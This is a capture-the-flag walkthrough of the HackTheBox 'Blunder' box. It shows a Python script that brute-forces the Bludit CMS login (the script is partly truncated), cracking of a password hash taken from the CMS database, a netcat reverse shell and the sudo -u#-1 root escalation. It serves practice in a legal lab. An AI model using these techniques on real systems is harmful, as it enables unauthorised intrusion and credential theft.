HackTheBox - Blunder

Blunder was an easy Linux box on HackTheBox. This box was about :

Box Logo

Initial Foothold


Here we go for the initial reckon, let’s run nmap to see what we got.


We can see a classic web server exposed on port 80. There is also a ftp server showing on port 21 but it is closed so we can’t access it.


The website looks like this :


There are different articles.

With a bit of fuzzing, we discover a /admin directory :

First directory fuzzing

And by visiting the url we have the following :

Admin page

By looking on the Internet, we discover the Bludit CMS.

And with some more research, we discover an authenticated Remote Code Execution on this CMS here



We try to do some more enumeration on the website like following :

wfuzz Todo

The could be interesting :

Todo list

We have the information that the CMS is not up to date, so it is probably vulnerable to the previously discovered vulnerability. We also have the information that there is a user named fergus. We can try to brute force the login page to find the password for this user.

We can use a tool to generate a list of password based on the content on the website. By generating a list, we have more chance to find a correct password than with a random dictionary. We’ll use the CeWL tool.

With the following command line, we can generate a list of password :

./cewl.rb -w ~/HackTheBox/Blunder/password.txt
CeWL 5.5.0 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

We use python to write a little script to brute force the authentication form :

import requests

def open_ressources(file_path):
    return [item.replace("\n", "") for item in open(file_path).readlines()]

def main():
    url = ''
    username = 'fergus'

    passwordFile = "password.txt"

    passwords = open_ressources(passwordFile)

    for password in passwords:

        print("[+] Retrieving CSRF token")

        session = requests.Session()

        r = session.get(url)
        retour = r.text

        findingToken = 'tokenCSRF" value="'
        indexStart = retour.find(findingToken)

        indexEnd = retour.find('">',indexStart)

        csrfToken = retour[int(indexStart+len(findingToken)):int(indexEnd)]

        if csrfToken != '':
            print("Success ! \n[+] CsrfToken : %s" % csrfToken)
        else :
            print("Error on csrfToken !")

        payload = {

        header = {
            'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0',

        login = session.post(url, headers=header, data=payload, allow_redirects=False)
        print("Trying %s" % password)

        if 'location' in login.headers:
            if login.headers['location'].find('dashboard') != -1 :

if __name__ == '__main__':

With this script, we obtain the following credentials

username : fergus
password : RolandDeschain

We can now connect to the admin panel :

Admin panel

We can now exploit the previously found RCE exploit like the following :

Bludit Pwn

And with a netcat listening on our host :

Netcat listening

So we have a first shell as the www-data user.

User access

In the www/ directory, we notice another interesting folder :

www-data@blunder:/var/www$ ls

By digging in the tree directory we finally found the /var/www/bludit-3.10.0a/bl-content/databases file which can be pretty interesting

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls

Let’s try to grab some user info !

User database information

We have a faca404fd5c0a31cf1897b823c695c85cffeb98d password which is hashed with ShA1.

We can use crackstation or john for example to crack this hash and retrieve the plaintext password. We finally end up with this password in cleartext : Password120

We can now elevate our privilege as the user hugo and grab the first flag :

First user

Privilege Escalation

The privilege escalation is pretty straight forward.

With a basic enumeration check we can spot something fishy :

sudo configuration

This shows that the hugo user cannot run /bin/bash as root.

Reading info in this link, we understand that there is a flaw in this configuration. With ALL specified, we can run /bin/bash as any user. Sudo does not check for the existence of the specified user id and executes the command with arbitrary user id with the sudo privileges. -u#-1 returns as 0 which is root’s account id.

So with the following command, we can elevate our privilege as root account :

hugo@blunder:/$ sudo -u#-1 /bin/bash
Password: Password120

root@blunder:/# id
uid=0(root) gid=1001(hugo) groups=1001(hugo)

And here we are, finally root on this great machine !